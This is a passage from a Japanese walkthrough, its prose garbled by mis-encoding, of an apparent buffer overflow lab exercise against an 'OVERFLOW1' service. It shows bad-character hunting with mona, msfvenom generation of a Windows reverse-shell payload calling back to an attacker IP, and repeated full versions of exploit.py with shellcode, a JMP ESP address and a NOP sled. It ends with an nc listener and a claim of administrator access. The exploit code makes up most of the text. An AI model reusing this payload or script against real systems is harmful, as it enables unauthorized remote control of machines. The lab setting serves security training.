çµæã¯ãå³äžã®ããã«ãã00 07 08 2e 2f a0 a1ããå£ãããšèšã£ãŠããŸããäžã®è¡šãèŠããšãããã«ãFileã§ã¯ã07ããšãªã£ãŠãããã€ããã¡ã¢ãªäžã§ã¯ã0aãã«ãªã£ãŠããŸããããã¯ã07ãã¯å£ããŠããŸãïŒäœ¿ããªããšèšãæå³ã§ããä»ã®ãã€ããåæ§ã«ç¢ºèªãã§ããŸãã
å®éã«ã¡ã¢ãªäžã§ãã©ããªã£ãŠãããèŠãŠã¿ãŸãã

確ãã«ã07ããšå ¥ã£ãŠããã¹ããšããã«ãã0Aããšãªã£ãŠããŸããããããã§ãã
ã§ã¯ãå®éã«ã·ã§ã«ã³ãŒããäœæããæã«ãã®æååã䜿çšããªãããã«ããã°ããããã§ãããããã§éåžžã«éèŠãªã¯ã»ïŒãã€ã³ãïŒããããŸãããã1床äžã®ãã£ããã£ã®ããŒãã«ã®æ¹ãèŠãŠäžããã
08ãå£ããŠããæ§ã«èŠããŸãã
ããããããã¯1ã€åã®07ã®ããã§å£ããŠããå¯èœæ§ãé«ããšããããšã§ããåæ§ã«ã2fããšãa1ããã»ãŒãã®å¯èœæ§ãæããŸãã
詊ãã«ãã08ãã2fããa1ãã¯ã»ãŒããæªãæåã¯1ã€æåã®ã07ãã2eããa0ããšä»®å®ããŠãå çšã®create.pyããé€å€ããŠæ°ãã«æååãäœæããŠã¿ãŸãã
create.pyã以äžã®ããã«æžãæããŸãã
#!/usr/bin/env python3
from __future__ import print_function
bad = "00 07 2e a0".split()
print("badchars = ", end='')
for x in range(1, 256):
if "{:02x}".format(x) not in bad:
print("\\x" + "{:02x}".format(x), end='')
print("\n\nfor mona")
for byte in bad:
print("\\x{}".format(byte), end='')
print()
å®è¡ããŸãã
badchars = \x01\x02\x03\x04\x05\x06\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff
for mona
\x00\x07\x2e\xa0
for monaã«åºãŠããæåãé€å€ããæåã§ãããã®æååãã³ããŒããŠããbadchars.pyãã®badcharã«ã»ããããŸãã
#!/usr/bin/env python3
import socket
ip = '10.10.180.248'
port = 1337
badchar = "\x01\x02\x03\x04\x05\x06\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
string = "OVERFLOW1 " + 1978*"A" + 4*"B" + badchar
with socket.socket() as s:
s.connect((ip, port))
print("sending pattern")
s.send(bytes(string, 'latin-1'))
å çšã®æªãæåã¯å ¥ã£ãŠãªãã§ããã
次ã«ãMonaã§äœæããäžèЧããã以äžã®ã³ãã³ãã§æªãæåãé€å€ããŠäžèЧãäœãçŽããŸãã
!mona bytearray -b "\x00\x07\x2e\xa0"
ãããããšãäœæ¥ãã£ã¬ã¯ãã«æ°ããäžèЧã®ãã¡ã€ã«ãäœæãããŠããŸãã

ããŠããã§æºåã¯OKãªã®ã§ãå çšä¿®æ£ããã³ãŒããå®è¡ããŸãã
$ python3 badchars.py
Immunity Debuggerã§ç¢ºèªãããŸããå ã»ã©ãšåãæ§ã«ãESPã®äžèº«ããFllow in Dumpãã§ç¢ºèªããŸãã

07ãšãã¯ç¡ãããã§ãããŸãã以äžã®ã³ãã³ãã§å çšæŽæ°ããäžèЧãšãã¡ã¢ãªäžã®ãã€ããæ¯èŒããŸãã
!mona compare -f C:\mona\oscp\bytearray.bin -a esp
Unmodifiedãšãªãã倿ãããŠããŸã£ãããããªæååããªããšèšãããšã確èªã§ããŸãã

ä»å詊ãã«ãã08ãã2fãã¯é€å€ããŸããã§ãããããã¯ãïŒã€åã®æåãæªããããŠããŸããã
ãã£ãŠãããã§ã®æªãæåã®èª¿æ»ã¯ä»¥äžãšå€æããŸããã
\x00\x07\x2e\xa0
æ¬¡ã«æªãæåã䜿çšããã«ã·ã§ã«ã³ãŒããäœæããŸãã以äžã®ã³ãã³ããå®è¡ããŸãã
msfvenom -p windows/shell_reverse_tcp LHOST=10.6.65.109 LPORT=4444 EXITFUNC=thread -b "\x00\x07\x2e\xa0" -f python -v "shellcode"
LHOSTã¯èªåã®IPã¢ãã¬ã¹ãLPORTã¯åŸ ã¡åããããŒãã§ãããŸããã-bãã§æªãæåãé€å€ããŸãã
å®è¡ãããšã·ã§ã«ã³ãŒããäœæãããŸãã
shellcode = b""
shellcode += b"\xba\xa6\xbf\x50\xfa\xd9\xe1\xd9\x74\x24\xf4"
shellcode += b"\x5f\x33\xc9\xb1\x52\x31\x57\x12\x83\xc7\x04"
shellcode += b"\x03\xf1\xb1\xb2\x0f\x01\x25\xb0\xf0\xf9\xb6"
shellcode += b"\xd5\x79\x1c\x87\xd5\x1e\x55\xb8\xe5\x55\x3b"
shellcode += b"\x35\x8d\x38\xaf\xce\xe3\x94\xc0\x67\x49\xc3"
shellcode += b"\xef\x78\xe2\x37\x6e\xfb\xf9\x6b\x50\xc2\x31"
shellcode += b"\x7e\x91\x03\x2f\x73\xc3\xdc\x3b\x26\xf3\x69"
shellcode += b"\x71\xfb\x78\x21\x97\x7b\x9d\xf2\x96\xaa\x30"
shellcode += b"\x88\xc0\x6c\xb3\x5d\x79\x25\xab\x82\x44\xff"
shellcode += b"\x40\x70\x32\xfe\x80\x48\xbb\xad\xed\x64\x4e"
shellcode += b"\xaf\x2a\x42\xb1\xda\x42\xb0\x4c\xdd\x91\xca"
shellcode += b"\x8a\x68\x01\x6c\x58\xca\xed\x8c\x8d\x8d\x66"
shellcode += b"\x82\x7a\xd9\x20\x87\x7d\x0e\x5b\xb3\xf6\xb1"
shellcode += b"\x8b\x35\x4c\x96\x0f\x1d\x16\xb7\x16\xfb\xf9"
shellcode += b"\xc8\x48\xa4\xa6\x6c\x03\x49\xb2\x1c\x4e\x06"
shellcode += b"\x77\x2d\x70\xd6\x1f\x26\x03\xe4\x80\x9c\x8b"
shellcode += b"\x44\x48\x3b\x4c\xaa\x63\xfb\xc2\x55\x8c\xfc"
shellcode += b"\xcb\x91\xd8\xac\x63\x33\x61\x27\x73\xbc\xb4"
shellcode += b"\xe8\x23\x12\x67\x49\x93\xd2\xd7\x21\xf9\xdc"
shellcode += b"\x08\x51\x02\x37\x21\xf8\xf9\xd0\x44\xfb\x40"
shellcode += b"\x4c\x31\x01\x42\x9f\x9d\x8c\xa4\xf5\x0d\xd9"
shellcode += b"\x7f\x62\xb7\x40\x0b\x13\x38\x5f\x76\x13\xb2"
shellcode += b"\x6c\x87\xda\x33\x18\x9b\x8b\xb3\x57\xc1\x1a"
shellcode += b"\xcb\x4d\x6d\xc0\x5e\x0a\x6d\x8f\x42\x85\x3a"
shellcode += b"\xd8\xb5\xdc\xae\xf4\xec\x76\xcc\x04\x68\xb0"
shellcode += b"\x54\xd3\x49\x3f\x55\x96\xf6\x1b\x45\x6e\xf6"
shellcode += b"\x27\x31\x3e\xa1\xf1\xef\xf8\x1b\xb0\x59\x53"
shellcode += b"\xf7\x1a\x0d\x22\x3b\x9d\x4b\x2b\x16\x6b\xb3"
shellcode += b"\x9a\xcf\x2a\xcc\x13\x98\xba\xb5\x49\x38\x44"
shellcode += b"\x6c\xca\x58\xa7\xa4\x27\xf1\x7e\x2d\x8a\x9c"
shellcode += b"\x80\x98\xc9\x98\x02\x28\xb2\x5e\x1a\x59\xb7"
shellcode += b"\x1b\x9c\xb2\xc5\x34\x49\xb4\x7a\x34\x58"
çæãããã·ã§ã«ã³ãŒãã䜿ã£ãŠããexploit.pyããäœæããŸããã
#!/usr/bin/env python3
import socket
ip = "10.10.161.150"
port = 1337
shellcode = ""
shellcode += "\xba\xd2\xe8\x90\x97\xdb\xdb\xd9\x74\x24\xf4"
shellcode += "\x5e\x29\xc9\xb1\x52\x31\x56\x12\x83\xc6\x04"
shellcode += "\x03\x84\xe6\x72\x62\xd4\x1f\xf0\x8d\x24\xe0"
shellcode += "\x95\x04\xc1\xd1\x95\x73\x82\x42\x26\xf7\xc6"
shellcode += "\x6e\xcd\x55\xf2\xe5\xa3\x71\xf5\x4e\x09\xa4"
shellcode += "\x38\x4e\x22\x94\x5b\xcc\x39\xc9\xbb\xed\xf1"
shellcode += "\x1c\xba\x2a\xef\xed\xee\xe3\x7b\x43\x1e\x87"
shellcode += "\x36\x58\x95\xdb\xd7\xd8\x4a\xab\xd6\xc9\xdd"
shellcode += "\xa7\x80\xc9\xdc\x64\xb9\x43\xc6\x69\x84\x1a"
shellcode += "\x7d\x59\x72\x9d\x57\x93\x7b\x32\x96\x1b\x8e"
shellcode += "\x4a\xdf\x9c\x71\x39\x29\xdf\x0c\x3a\xee\x9d"
shellcode += "\xca\xcf\xf4\x06\x98\x68\xd0\xb7\x4d\xee\x93"
shellcode += "\xb4\x3a\x64\xfb\xd8\xbd\xa9\x70\xe4\x36\x4c"
shellcode += "\x56\x6c\x0c\x6b\x72\x34\xd6\x12\x23\x90\xb9"
shellcode += "\x2b\x33\x7b\x65\x8e\x38\x96\x72\xa3\x63\xff"
shellcode += "\xb7\x8e\x9b\xff\xdf\x99\xe8\xcd\x40\x32\x66"
shellcode += "\x7e\x08\x9c\x71\x81\x23\x58\xed\x7c\xcc\x99"
shellcode += "\x24\xbb\x98\xc9\x5e\x6a\xa1\x81\x9e\x93\x74"
shellcode += "\x05\xce\x3b\x27\xe6\xbe\xfb\x97\x8e\xd4\xf3"
shellcode += "\xc8\xaf\xd7\xd9\x60\x45\x22\x8a\x84\x9c\x6d"
shellcode += "\x27\xf1\xa2\x6d\xa6\x5d\x2a\x8b\xa2\x4d\x7a"
shellcode += "\x04\x5b\xf7\x27\xde\xfa\xf8\xfd\x9b\x3d\x72"
shellcode += "\xf2\x5c\xf3\x73\x7f\x4e\x64\x74\xca\x2c\x23"
shellcode += "\x8b\xe0\x58\xaf\x1e\x6f\x98\xa6\x02\x38\xcf"
shellcode += "\xef\xf5\x31\x85\x1d\xaf\xeb\xbb\xdf\x29\xd3"
shellcode += "\x7f\x04\x8a\xda\x7e\xc9\xb6\xf8\x90\x17\x36"
shellcode += "\x45\xc4\xc7\x61\x13\xb2\xa1\xdb\xd5\x6c\x78"
shellcode += "\xb7\xbf\xf8\xfd\xfb\x7f\x7e\x02\xd6\x09\x9e"
shellcode += "\xb3\x8f\x4f\xa1\x7c\x58\x58\xda\x60\xf8\xa7"
shellcode += "\x31\x21\x18\x4a\x93\x5c\xb1\xd3\x76\xdd\xdc"
shellcode += "\xe3\xad\x22\xd9\x67\x47\xdb\x1e\x77\x22\xde"
shellcode += "\x5b\x3f\xdf\x92\xf4\xaa\xdf\x01\xf4\xfe"
command = "OVERFLOW1 "
offset = 1978 * "A"
jmp = "BBBB"
nops = ""
string = command + offset + jmp + nops + shellcode
with socket.socket() as s:
s.connect((ip, port))
print("sending exploit")
s.send(bytes(string, 'latin-1'))
å®è¡ããŸãã
$ python3 exploit.py
Immunity Debuggerã§ç¢ºèªããŸããååãšåæ§ã«ãESPã®äžèº«ããFollow in Dumpãã§ç¢ºèªããŸãã

EIPã«ã¯åŒãç¶ãããBBBBããããããŠãã¹ã¿ãã¯ã®TOPãããå ã»ã©äœæããã·ã§ã«ã³ãŒããå ¥ã£ãŠããããšã確èªã§ããŸããã
ãã®ã³ãŒãã¯ãŸã æªå®æã§ãããŸã ã»ãããããŠããªã倿°ããjmpããšãnopsãã以éã®ã¿ã¹ã¯ã§ã»ããããŸãã
6. ã·ã§ã«ã³ãŒããå®è¡ãããããã«ãEIPã«JMP ESPã®åœä»€ã®ã¢ãã¬ã¹ãã»ãã
ããã§ã¯ãEIPã«ã»ããããã·ã§ã«ã³ãŒããå®è¡ããããã®åœä»€æãã¡ã¢ãªäžããæ¢ããã®ã¢ãã¬ã¹ã調æ»ããŠããjmpãã®å€æ°ã«ã»ããããŸãã
以äžã®ã³ãã³ããå®è¡ããŠãæªãæåã䜿ãããŠããªãã¡ã¢ãªäžã§ã®ãJMP ESPãåœä»€ãå®è¡ãããŠããã¢ãã¬ã¹ãæ€çŽ¢ããŸãã
!mona jmp -r esp -cpb "\x00\x07\x2e\xa0"
ããããèŠã€ãããŸããã

ã©ãã§ãããã®ã§ããã1çªäžã®ã625011AFãã詊ããŠã¿ãŸãã
ãexploit.pyãã®jmp倿°ã«ãã®å€ãã»ããããŸããããªãã«ãšã€ãã£ã¢ã³ãèæ ®ããŠä»¥äžã®æ§ã«ã³ãŒããä¿®æ£ããŸãã
#!/usr/bin/env python3
import socket
ip = "10.10.180.248"
port = 1337
shellcode = ""
shellcode += "\xba\xd2\xe8\x90\x97\xdb\xdb\xd9\x74\x24\xf4"
shellcode += "\x5e\x29\xc9\xb1\x52\x31\x56\x12\x83\xc6\x04"
shellcode += "\x03\x84\xe6\x72\x62\xd4\x1f\xf0\x8d\x24\xe0"
shellcode += "\x95\x04\xc1\xd1\x95\x73\x82\x42\x26\xf7\xc6"
shellcode += "\x6e\xcd\x55\xf2\xe5\xa3\x71\xf5\x4e\x09\xa4"
shellcode += "\x38\x4e\x22\x94\x5b\xcc\x39\xc9\xbb\xed\xf1"
shellcode += "\x1c\xba\x2a\xef\xed\xee\xe3\x7b\x43\x1e\x87"
shellcode += "\x36\x58\x95\xdb\xd7\xd8\x4a\xab\xd6\xc9\xdd"
shellcode += "\xa7\x80\xc9\xdc\x64\xb9\x43\xc6\x69\x84\x1a"
shellcode += "\x7d\x59\x72\x9d\x57\x93\x7b\x32\x96\x1b\x8e"
shellcode += "\x4a\xdf\x9c\x71\x39\x29\xdf\x0c\x3a\xee\x9d"
shellcode += "\xca\xcf\xf4\x06\x98\x68\xd0\xb7\x4d\xee\x93"
shellcode += "\xb4\x3a\x64\xfb\xd8\xbd\xa9\x70\xe4\x36\x4c"
shellcode += "\x56\x6c\x0c\x6b\x72\x34\xd6\x12\x23\x90\xb9"
shellcode += "\x2b\x33\x7b\x65\x8e\x38\x96\x72\xa3\x63\xff"
shellcode += "\xb7\x8e\x9b\xff\xdf\x99\xe8\xcd\x40\x32\x66"
shellcode += "\x7e\x08\x9c\x71\x81\x23\x58\xed\x7c\xcc\x99"
shellcode += "\x24\xbb\x98\xc9\x5e\x6a\xa1\x81\x9e\x93\x74"
shellcode += "\x05\xce\x3b\x27\xe6\xbe\xfb\x97\x8e\xd4\xf3"
shellcode += "\xc8\xaf\xd7\xd9\x60\x45\x22\x8a\x84\x9c\x6d"
shellcode += "\x27\xf1\xa2\x6d\xa6\x5d\x2a\x8b\xa2\x4d\x7a"
shellcode += "\x04\x5b\xf7\x27\xde\xfa\xf8\xfd\x9b\x3d\x72"
shellcode += "\xf2\x5c\xf3\x73\x7f\x4e\x64\x74\xca\x2c\x23"
shellcode += "\x8b\xe0\x58\xaf\x1e\x6f\x98\xa6\x02\x38\xcf"
shellcode += "\xef\xf5\x31\x85\x1d\xaf\xeb\xbb\xdf\x29\xd3"
shellcode += "\x7f\x04\x8a\xda\x7e\xc9\xb6\xf8\x90\x17\x36"
shellcode += "\x45\xc4\xc7\x61\x13\xb2\xa1\xdb\xd5\x6c\x78"
shellcode += "\xb7\xbf\xf8\xfd\xfb\x7f\x7e\x02\xd6\x09\x9e"
shellcode += "\xb3\x8f\x4f\xa1\x7c\x58\x58\xda\x60\xf8\xa7"
shellcode += "\x31\x21\x18\x4a\x93\x5c\xb1\xd3\x76\xdd\xdc"
shellcode += "\xe3\xad\x22\xd9\x67\x47\xdb\x1e\x77\x22\xde"
shellcode += "\x5b\x3f\xdf\x92\xf4\xaa\xdf\x01\xf4\xfe"
command = "OVERFLOW1 "
offset = 1978 * "A"
jmp = "\xAF\x11\x50\x62" # 625011AF
string = command + offset + jmp + shellcode
with socket.socket() as s:
s.connect((ip, port))
print("sending exploit")
s.send(bytes(string, 'latin-1'))
æåŸã«ã·ã§ã«ã³ãŒãåã«NOPãã»ããããŸãã
NOPã¯ã¢ã»ã³ããªã®ãNo Operationãã®ç¥ã§ããäœãããæ¬¡ã®åœä»€ã«ç§»ããŸããNOPãå ¥ããããšã«ãããå®å šã«ç¢ºå®ã«æªæããã³ãŒããå®è¡ãããããã«ã²ãšå·¥å€«ããŸãã
å®éã¢ã»ã³ãã©ã³ãŒãã¯ä»¥äžã®ãããªæãã§ãã

確å®ã«ãBããæå®ããŠå®è¡ãããããšããã§ãããããããããæåã®ãAãã«åœä»€ãç§»ã£ãŠããŸã£ããšããŠãããããNOPã§ããã°ãNOPã®çµãããŸã§ã¹ã©ã€ãããŠãBããå®è¡ããŸãã
ãexploit.pyãã以äžã®ããã«ä¿®æ£ããŸãã
#!/usr/bin/env python3
import socket
ip = "10.10.180.248"
port = 1337
shellcode = ""
shellcode += "\xba\xd2\xe8\x90\x97\xdb\xdb\xd9\x74\x24\xf4"
shellcode += "\x5e\x29\xc9\xb1\x52\x31\x56\x12\x83\xc6\x04"
shellcode += "\x03\x84\xe6\x72\x62\xd4\x1f\xf0\x8d\x24\xe0"
shellcode += "\x95\x04\xc1\xd1\x95\x73\x82\x42\x26\xf7\xc6"
shellcode += "\x6e\xcd\x55\xf2\xe5\xa3\x71\xf5\x4e\x09\xa4"
shellcode += "\x38\x4e\x22\x94\x5b\xcc\x39\xc9\xbb\xed\xf1"
shellcode += "\x1c\xba\x2a\xef\xed\xee\xe3\x7b\x43\x1e\x87"
shellcode += "\x36\x58\x95\xdb\xd7\xd8\x4a\xab\xd6\xc9\xdd"
shellcode += "\xa7\x80\xc9\xdc\x64\xb9\x43\xc6\x69\x84\x1a"
shellcode += "\x7d\x59\x72\x9d\x57\x93\x7b\x32\x96\x1b\x8e"
shellcode += "\x4a\xdf\x9c\x71\x39\x29\xdf\x0c\x3a\xee\x9d"
shellcode += "\xca\xcf\xf4\x06\x98\x68\xd0\xb7\x4d\xee\x93"
shellcode += "\xb4\x3a\x64\xfb\xd8\xbd\xa9\x70\xe4\x36\x4c"
shellcode += "\x56\x6c\x0c\x6b\x72\x34\xd6\x12\x23\x90\xb9"
shellcode += "\x2b\x33\x7b\x65\x8e\x38\x96\x72\xa3\x63\xff"
shellcode += "\xb7\x8e\x9b\xff\xdf\x99\xe8\xcd\x40\x32\x66"
shellcode += "\x7e\x08\x9c\x71\x81\x23\x58\xed\x7c\xcc\x99"
shellcode += "\x24\xbb\x98\xc9\x5e\x6a\xa1\x81\x9e\x93\x74"
shellcode += "\x05\xce\x3b\x27\xe6\xbe\xfb\x97\x8e\xd4\xf3"
shellcode += "\xc8\xaf\xd7\xd9\x60\x45\x22\x8a\x84\x9c\x6d"
shellcode += "\x27\xf1\xa2\x6d\xa6\x5d\x2a\x8b\xa2\x4d\x7a"
shellcode += "\x04\x5b\xf7\x27\xde\xfa\xf8\xfd\x9b\x3d\x72"
shellcode += "\xf2\x5c\xf3\x73\x7f\x4e\x64\x74\xca\x2c\x23"
shellcode += "\x8b\xe0\x58\xaf\x1e\x6f\x98\xa6\x02\x38\xcf"
shellcode += "\xef\xf5\x31\x85\x1d\xaf\xeb\xbb\xdf\x29\xd3"
shellcode += "\x7f\x04\x8a\xda\x7e\xc9\xb6\xf8\x90\x17\x36"
shellcode += "\x45\xc4\xc7\x61\x13\xb2\xa1\xdb\xd5\x6c\x78"
shellcode += "\xb7\xbf\xf8\xfd\xfb\x7f\x7e\x02\xd6\x09\x9e"
shellcode += "\xb3\x8f\x4f\xa1\x7c\x58\x58\xda\x60\xf8\xa7"
shellcode += "\x31\x21\x18\x4a\x93\x5c\xb1\xd3\x76\xdd\xdc"
shellcode += "\xe3\xad\x22\xd9\x67\x47\xdb\x1e\x77\x22\xde"
shellcode += "\x5b\x3f\xdf\x92\xf4\xaa\xdf\x01\xf4\xfe"
command = "OVERFLOW1 "
offset = 1978 * "A"
jmp = "\xAF\x11\x50\x62" # 625011AF
nops = 16 * "\x90"
string = command + offset + jmp + nops + shellcode
with socket.socket() as s:
s.connect((ip, port))
print("sending exploit")
s.send(bytes(string, 'latin-1'))
ã³ã¬ã§æºåã¯æŽããŸããã
ãexploit.pyããäžæãè¡ãã°ããµãŒããŒã¢ããªã®ã·ã§ã«ãåããã¯ãã§ãã
ã·ã§ã«ã³ãŒãã§æå®ãããªããŒã¹ã·ã§ã«ããã£ããããããã«kaliäžã§ãncã§ããŒãããªãã¹ã³ããŸãã
$ nc -lvnp 4444
å¥ã®ã¿ãŒããã«ã§ããexploit.pyããå®è¡ããŸãã
$ python3 exploit.py
ãªããŒã¹ã·ã§ã«ãæåãããšãncã®ãªãã¹ã³ã«ã·ã§ã«ãæž¡ãããŠããªã¢ãŒãäžã®ã·ã§ã«ãå©çšããäºãã§ããŸãã
ãã®æ§ã«ç¡äºã管çè
æš©éãããã·ã¥ããããšãã§ããŸããã
